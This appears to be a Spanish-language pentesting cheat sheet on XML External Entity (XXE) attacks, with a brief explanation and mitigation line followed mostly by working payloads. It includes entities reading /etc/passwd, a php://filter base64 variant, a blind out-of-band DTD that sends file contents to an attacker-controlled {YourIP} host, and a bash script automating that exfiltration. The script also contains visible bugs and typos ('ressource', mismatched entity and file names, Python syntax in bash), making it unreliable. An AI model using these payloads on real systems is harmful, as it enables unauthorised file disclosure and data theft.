XXE

#OWASP10 #XXE

Esta vulnerabilidad se explota inyectando entidades XML maliciosas en solicitudes HTTP, lo que puede dar lugar a la exposici贸n de informaci贸n sensible. Los ataques XXE suelen ocurrir cuando las aplicaciones web o servicios web no validan adecuadamente las entradas de datos XML.

Los atacantes pueden inyectar entidades XML que hacen referencia a archivos del sistema, lo que les permite obtener informaci贸n confidencial. En algunos casos, los ataques XXE pueden ser utilizados para explotar vulnerabilidades SSRF, lo que les permite a los atacantes escanear puertos internos y obtener informaci贸n sensible o tomar el control de servicios internos. Los ataques XXE pueden ser utilizados como vectores de ataque "a ciegas" cuando el atacante tiene conocimiento general de los recursos disponibles en el sistema y busca obtener informaci贸n espec铆fica sin ser detectado.

Para mitigar los riesgos del XXE, es crucial validar y sanitizar adecuadamente las entradas XML, as铆 como implementar medidas de seguridad adicionales, como restricciones de acceso a recursos externos y configuraciones adecuadas de firewall.

Attacking

&myFile;

Si puedes ver una estructura <?xml significa que hay una gran probabilidad de que sea vulnerable

Ejemplo para leer etc/passwd

<?xml version="1.0" encoding="UTF-8"?>
	<!DOCTYPE foo [<!ENTITY myFile SYSTEM "file:///etc/passwd">]>
	<root>
		<name>
			test
		</name>
		<tel>
			123123123
		</tel>
		<email>
			&myFile;
		</email>
		<password>
			123123
		</password>
	</root>

En algunas ocaciones, tendras que utilizar wrappers

<?xml version="1.0" encoding="UTF-8"?>
	<!DOCTYPE foo [<!ENTITY myFile SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">]>
	<root>
		<name>
			test
		</name>
		<tel>
			123123123
		</tel>
		<email>
			&myFile;
		</email>
		<password>
			123123
		</password>
	</root>xm

Blind

Explotacion ciega utilizando HTTP request.

<?xml version="1.0" encoding="UTF-8"?>
	<!DOCTYPE foo [<!ENTITY myFile SYSTEM "http://{YourIP}/malicious.dtd"> %xxe;]>
	<root>
		<name>
			test
		</name>
		<tel>
			123123123
		</tel>
		<email>
			&myFile;
		</email>
		<password>
			123123
		</password>
	</root>

malicious.dtd: El objetivo es enviar el output en base64 por GET, suponiendo que no aparece en texto claro en la pagina.

<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/ressource=/etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://{YourIP}/?file=%file'>">
%eval;
%exfil;

El &#x25 es la forma dtd de traducir un caracter hexadecimal

Entonces, si envias un request XML con aquella estructura, tu servidor python3 -m http.server 80 va a recibir la informacion en base64.

echo -n "ECHO" | base64 -d; echo
xxe_oob.sh
#!/bin/bash

echo -ne "\n[+] Introduce el archivo a leer: " && read -r myFilename

malicious_dtd = '''
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/ressource=$myFilename">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM \'http://{YourIP}/?file=%file\'>">
%eval;
%exfil;
''' # with *echo malicious_dtd* at the end, and *./xxe.oob.sh* you can see if it's printing well.

echo $malicious_dtd > malicious.dtd

python3 -m http.server 80 &>response & #Almacenar todo en "response"

PID=$! #Registrar el PID del proceso anterior

sleep 1; echo

curl -s -X POST "http://localhost:5000/process.php" -d '<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://<YOURIP>/malicious.dtd"> %xee;]>
<root><name>test</name><tel>123123123</tel><email>&myFile;</email><password>123123</password></root>'

cat response | grep -oP "/?file=\K[^.*\s]+" | base64 -d 

kill -9 $PID
wait $PID 2>/dev/null #Esperar a que finalice el kill, y luego continuar.

rm response 2>/dev/null
./xee_oob.sh

/etc/host
/etc/passwd

Last updated